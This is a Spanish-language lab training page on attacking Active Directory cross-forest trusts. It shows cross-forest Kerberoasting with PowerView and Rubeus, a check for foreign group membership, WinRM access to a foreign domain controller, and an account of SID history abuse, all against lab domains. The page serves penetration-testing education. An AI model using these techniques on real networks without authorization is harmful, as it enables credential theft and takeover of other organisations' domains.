Saltar a contenido

Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows

Cross-Forest Kerberoasting

Kerberos attacks como Kerberoasting y ASREPRoasting pueden llevarse a cabo a través de trusts, dependiendo de la dirección del trust. En una situación donde estás posicionado en un domain con un inbound o bidirectional domain/forest trust, es probable que puedas realizar varios ataques para obtener un punto de apoyo. A veces no puedes escalar privilegios en tu domain actual, pero en su lugar puedes obtener un Kerberos ticket y crackear un hash para un usuario administrativo en otro domain que tiene Domain/Enterprise Admin privileges en ambos domains.

Podemos utilizar PowerView para enumerar cuentas en un domain objetivo que tienen SPNs asociados con ellas.

Enumerating Accounts for Associated SPNs Using Get-DomainUser

PS C:\htb> Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

samaccountname
--------------
krbtgt
mssqlsvc

Vemos que hay una cuenta con un SPN en el domain objetivo. Una revisión rápida muestra que esta cuenta es miembro del grupo Domain Admins en el domain objetivo, por lo que si podemos Kerberoast it y crackear el hash offline, tendríamos derechos de administrador completos en el domain objetivo.

Enumerating the mssqlsvc Account

PS C:\htb> Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof

samaccountname memberof
-------------- --------
mssqlsvc       CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL

Vamos a realizar un ataque de Kerberoasting a través del trust usando Rubeus. Ejecutamos la herramienta como lo hicimos en la sección de Kerberoasting, pero incluimos el flag /domain: y especificamos el domain objetivo.

Performing a Kerberoasting Attacking with Rubeus Using /domain Flag

PS C:\htb> .\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : mssqlsvc
[*] Target Domain          : FREIGHTLOGISTICS.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL/DC=FREIGHTLOGISTICS,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=mssqlsvc)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1

[*] SamAccountName         : mssqlsvc
[*] DistinguishedName      : CN=mssqlsvc,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL
[*] ServicePrincipalName   : MSSQLsvc/sql01.freightlogstics:1433
[*] PwdLastSet             : 3/24/2022 12:47:52 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$MSSQLsvc/sql01.freightlogstics:1433@FREIGHTLOGISTICS.LOCAL*$<SNIP>

Luego podríamos ejecutar el hash a través de Hashcat. Si se crackea, hemos ampliado rápidamente nuestro acceso para controlar completamente dos domains al aprovechar un ataque bastante estándar y abusar de la dirección de autenticación y configuración del bidirectional forest trust.


Admin Password Re-Use & Group Membership

De vez en cuando, encontraremos una situación donde hay un bidirectional forest trust gestionado por administradores de la misma empresa. Si podemos tomar el control del Domain A y obtener contraseñas en claro o NT hashes para la cuenta de Administrator incorporada (o una cuenta que sea parte del grupo Enterprise Admins o Domain Admins en Domain A), y Domain B tiene una cuenta altamente privilegiada con el mismo nombre, entonces vale la pena verificar la reutilización de contraseñas en los dos forests. Ocasionalmente, me encontré con problemas donde, por ejemplo, Domain A tenía un usuario llamado adm_bob.smith en el grupo Domain Admins, y Domain B tenía un usuario llamado bsmith_admin. A veces, el usuario usaría la misma contraseña en los dos domains, y tomar el control de Domain A instantáneamente me daba derechos de administrador completos en Domain B.

También podemos ver usuarios o administradores de Domain A como miembros de un grupo en Domain B. Solo Domain Local Groups permiten security principals de fuera de su forest. Podemos ver a un Domain Admin o Enterprise Admin de Domain A como miembro del grupo Administrators incorporado en Domain B en una relación de bidirectional forest trust. Si podemos tomar el control de este usuario administrador en Domain A, ganaríamos acceso administrativo completo a Domain B basado en la membresía del grupo.

Podemos usar la función de PowerView Get-DomainForeignGroupMember para enumerar grupos con usuarios que no pertenecen al domain, también conocido como foreign group membership. Probemos esto contra el domain FREIGHTLOGISTICS.LOCAL con el que tenemos un external bidirectional forest trust.

Using Get-DomainForeignGroupMember

PS C:\htb> Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

GroupDomain             : FREIGHTLOGISTICS.LOCAL
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL
MemberDomain            : FREIGHTLOGISTICS.LOCAL
MemberName              : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS
                          TICS,DC=LOCAL

PS C:\htb> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500

INLANEFREIGHT\administrator

El output del comando anterior muestra que el grupo Administrators incorporado en FREIGHTLOGISTICS.LOCAL tiene la cuenta de Administrator incorporada para el domain INLANEFREIGHT.LOCAL como miembro. Podemos verificar este acceso usando el cmdlet Enter-PSSession para conectarnos a través de WinRM.

Accessing DC03 Using Enter-PSSession

PS C:\htb> Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> whoami
inlanefreight\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : ACADEMY-EA-DC03
   Primary Dns Suffix  . . . . . . . : FREIGHTLOGISTICS.LOCAL
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : FREIGHTLOGISTICS.LOCAL

Del output del comando anterior, podemos ver que nos autenticamos exitosamente en el Domain Controller en el domain FREIGHTLOGISTICS.LOCAL usando la cuenta de Administrator del domain INLANEFREIGHT.LOCAL a través del bidirectional forest trust. Esto puede ser una victoria rápida después de tomar el control de un domain y siempre vale la pena verificarlo si hay una situación de bidirectional forest trust presente durante una evaluación y el segundo forest está en el scope.


SID History Abuse - Cross Forest

SID History también puede ser abusado a través de un forest trust. Si un usuario es migrado de un forest a otro y SID Filtering no está habilitado, se vuelve posible agregar un SID del otro forest, y este SID se agregará al token del usuario al autenticarse a través del trust. Si el SID de una cuenta con privilegios administrativos en Forest A se agrega al atributo SID history de una cuenta en Forest B, asumiendo que pueden autenticarse a través del forest, entonces esta cuenta tendrá privilegios administrativos al acceder a recursos en el forest asociado. En el diagrama a continuación, podemos ver un ejemplo del usuario jjones siendo migrado del domain INLANEFREIGHT.LOCAL al domain CORP.LOCAL en un forest diferente. Si SID filtering no está habilitado cuando se realiza esta migración y el usuario tiene privilegios administrativos (o cualquier tipo de derechos interesantes como entradas ACE, acceso a shares, etc.) en el domain INLANEFREIGHT.LOCAL, entonces retendrán sus derechos/acceso administrativos en INLANEFREIGHT.LOCAL mientras son miembros del nuevo domain, CORP.LOCAL en el segundo forest.

image

Este ataque se cubrirá en profundidad en un módulo posterior que se enfocará más en atacar AD trusts.


Onwards

A continuación, veremos algunos ejemplos de ataques a través de un forest trust desde un Linux attack host.